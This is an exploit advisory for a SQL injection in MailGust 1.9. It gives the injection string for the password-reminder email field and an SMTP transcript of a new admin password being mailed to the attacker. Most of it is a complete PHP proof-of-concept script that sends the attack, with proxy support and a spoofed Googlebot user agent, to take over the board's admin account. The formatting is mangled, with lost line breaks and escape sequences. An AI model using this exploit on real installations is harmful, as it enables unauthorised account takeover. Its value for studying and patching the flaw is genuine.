MailGust 1.9 SQL Injection

Credit: rgod
Risk: Medium
Local: Yes
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

MailGust 1.9 SQL injection / board takevor software: site: description: Mailgust is three softwares in one: * Mailing list manager * Newsletter distribution tool * Message Board Mailgust is written in php and uses a mysql database. vulnerability: if magic quotes off -> SQL Injection without to have an account, a user can send himself a new admin password using password reminder, in email field type: [yuor_email],'or'a'='a'/* give a look to what happen: 220 [MAILSERVER] SMTP Service ready HELO [MAILGUST] 250 [MAILSERVER]. MAIL FROM:<me (at) localhost (dot) com [email concealed]> 250 MAIL FROM:<me (at) localhost (dot) com [email concealed]> OK RCPT TO:<[your_email]> 250 RCPT TO:>[your_email] OK RCPT TO:<'or'a'='a'/*> 250 RCPT TO:<'or'a'='a'/*> OK DATA 354 Start mail input; end with <CRLF>.<CRLF> Date: Sat, 24 Sep 2005 16:11:38 +0100 Subject: New password To: [your_email],'or'a'='a'/* From: systemxxx (at) localhost (dot) com [email concealed] Your login name is: [admin_email] Your new password is: 4993587 Click here: http://localhost/mailgust/index.php?method=activate_new_password&list=ma illistuser&pwd=4993587&id=1756185114 to activate the password, than try to log in! It is recommended that you change your password afterwards. . 250 <4335105B00009AE2> Mail accepted QUIT 221 [MAILSERVER] QUIT vulnerable query is in [path_to_mailgust]/gorum/user_email.php at line 363: ... $query = "SELECT * FROM $applName"."_$userClassName ". "WHERE email='$this->email'"; ... it becomes: SELECT * FROM maillist_maillistuser WHERE email='[yuor_email],'or'a'='a'/*' "or'a'='a'" is always true, so the query is always true, script doesn't fail, for mail function, theese are two valid email address, it will send the mail to [your_email] and to 'or'a'='a'/* ;) activate the password, now you can login with [admin_email] as user and new password this is my proof of concept exploit: <?php # mailgust_xpl.php # # # # MailGust 1.9 ( possibly prior versions) SQL Injection / board takeover # # poc exploit with generic HTTP proxy support # # by rgod # # site: # # # # # # make these changes in php.ini if you have troubles # # to launch this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # usage: launch this script from Apache, fill requested fields, then # # send yourself a new admin password right now! # # # # Sun-Tzu: "Hence to fight and conquer in all your battles is not supreme # # excellence; a supreme excellence consists in breaking the enemy's # # resistance without fighting." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<head><title>M a i l G u s t v.1.9 S Q L I n j e c t i o n</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type= "text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;} .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-style: italic; } --> </style></head> <body> <p class="Stile6"> MailGust V 1.9 (possibly prior versions) SQL Injection / board takeover</p><p class="Stil e6">a script by rgod at <a href="" target="_blank"></a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host= value&port=value&proxy=value&your_email=value"><p><input type="text" name="host" ><span class="Stile5"> hostname (ex: </span> </p> <p> <input type="text" name="path"><span class="Stile5"> path ( ex: /mailgust/ or just / ) </span></p><p><input type="text" name="port" > <span class="Stile5"> specify a port other than 80 ( default value ) </span> </p> <p> <input type="text" name="your_email"> <span class="Stile5"> e-mail where MG will send the password </span></p><p><input type="text" name="proxy"> <span class="Stile5">send exploit through an HTTP proxy (ip:port)</span></p> <p><input type="submit "name="Submit" value="go!"></p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo htmlentities($html); } function isemail($email) { $regex = '^[_a-z0-9-]+(.[_a-z0-9-]+)*@[a-z0-9-]+(.[a-z0-9-]{2,})+$'; if (eregi($regex, $email)) return true; else return false; } if (($path<>'') and ($host<>'') and ($your_email<>'')) { if ($port=='') {$port=80;} $your_email=trim($your_email); if (!isemail($your_email)) { echo '<br> I am not MailGust! You have to give me a valid e-mail...<br><br>'; die; } $sql=$your_email.",'or'a'='a'/*"; //wow it's a beautiful query ;) $data='-----------------------------7d52b21b210554 Content-Disposition: form-data; name="method" remind_password -----------------------------7d52b21b210554 Content-Disposition: form-data; name="list" maillistuser -----------------------------7d52b21b210554 Content-Disposition: form-data; name="fromlist" maillist -----------------------------7d52b21b210554 Content-Disposition: form-data; name="frommethod" showhtmllist -----------------------------7d52b21b210554 Content-Disposition: form-data; name="email" '.$sql.' -----------------------------7d52b21b210554 Content-Disposition: form-data; name="submit" Ok -----------------------------7d52b21b210554--'; if ($proxy=='') {$packet="POST ".$path."index.php HTTP/1.1rn";} else {$packet="POST http://".$host.$path."index.php HTTP/1.1rn";} $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*rn"; $packet.="Referer: http://".$host.$path."index.php?method=remind_password_form&list=maillis tuser&fromlist=maillist&frommethod=showhtmllistrn"; $packet.="Accept-Language: enrn"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d52b21b210554rn"; $packet.="Accept-Encoding: gzip, deflatern"; $packet.="User-Agent: Googlebot/2.1 (+"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Keep-Alivern"; $packet.="Cache-Control: no-cachern"; $packet.="Cookie: globalUserId=1745493597; gustTimeOut=1rnrn"; $packet.=$data; show($packet); sendpacket($packet); } else { echo '<br>Fill in requested fields, optionally specify a proxy...<br><br>'; } ?> rgod site: mail: retrogod at original advisory:

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